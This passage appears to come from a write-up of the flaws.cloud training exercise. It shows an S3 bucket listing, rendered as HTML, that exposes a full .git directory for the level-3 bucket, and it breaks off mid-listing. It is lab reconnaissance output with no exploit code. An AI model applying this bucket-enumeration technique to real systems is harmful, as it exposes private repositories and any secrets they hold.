class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">ListBucketResult</span> <span class="attr">xmlns</span>=<span class="string">"http://s3.amazonaws.com/doc/2006-03-01/"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Name</span>&gt;</span>level3-9afd3927f195e10225021a578e6f78df.flaws.cloud<span class="tag">&lt;/<span class="name">Name</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Prefix</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Marker</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">MaxKeys</span>&gt;</span>1000<span class="tag">&lt;/<span class="name">MaxKeys</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">IsTruncated</span>&gt;</span>false<span class="tag">&lt;/<span class="name">IsTruncated</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/COMMIT_EDITMSG<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"5f8f2cb9c2664a23f08dd8a070ae7427"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>52<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/HEAD<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"4cf2d64e44205fe628ddd534e1151b58"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>23<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/config<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"920a11de313bfb8d93d81f4a3a5b71b6"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>130<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/description<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"a0a7c3fff21f2aea3cfa1d0316dd816c"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>73<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/hooks/applypatch-msg.sample<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"9cc72dc973e24f9623bd3fe708f60ef5"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>452<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/hooks/commit-msg.sample<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"579a3c1e12a1e74a98169175fb913012"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>896<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/hooks/post-update.sample<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"2b7ea5cee3c49ff53d41e00785eb974c"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>189<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/hooks/pre-applypatch.sample<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"a4a7e457b55b5ac2877f7973dbba37e9"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>398<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/hooks/pre-commit.sample<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"15449d98cfa79704332d057b3f91093c"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>1704<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/hooks/pre-rebase.sample<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"3ff6ba9cf6d8e5332978e057559b5562"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>4898<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/hooks/prepare-commit-msg.sample<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"7dfe15854212a30f346da5255c1d794b"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>1239<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/hooks/update.sample<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"98d7f8e291edbab8df79e433dc97ecc8"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>3611<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/index<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"a2bcfc51ebc85bc8e9e3199f205a0bb8"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>600<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/info/exclude<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"036208b4a1ab4a235d75c181e685e5a3"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>240<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/logs/HEAD<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"3f00985fb62229477559b70d6347b31c"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>359<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/logs/refs/heads/master<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"3f00985fb62229477559b70d6347b31c"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>359<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"9002e9901e4166daccd2a058a602466a"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>679<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:24.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"0a909ea6e57ed11cc212e10b70be6935"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>770<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:25.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"affde50b79aa5e2319d514d1da68d6bd"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>820<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:25.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"45fb1dba815a2e8f93b1142dbfaa3800"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>245<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/76/e4934c9de40e36f09b4e5538236551529f723c<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:25.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"4c5f28e551cb33122840d23cd361a829"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>112013<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:25.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"b3962507e028e7f865374c5bf915d8db"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>560<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:25.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"2eb76fd75d27c229d1b64ffbf288de50"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>191<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/c2/aab7e03933a858d1765090928dca4013fe2526<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:25.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"735484ea692bafc0045a0b855b4d1023"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>42<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:25.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"553769f11ca181375ef1c38e0743115a"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>904<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:25.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"38a05deecfd29f97a5d03217430a6f00"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>98<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/f2/a144957997f15729d4491f251c3615d508b16a<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:25.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"51917ea94016aebddef06a42438974b7"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>279<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:25.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"f5dbd34f5193ba0ecb080c587ca4806a"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>125<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>.git/refs/heads/master<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-09-17T15:12:25.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"6f0924a4d9d67d62f9c933f0ef72cc60"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span 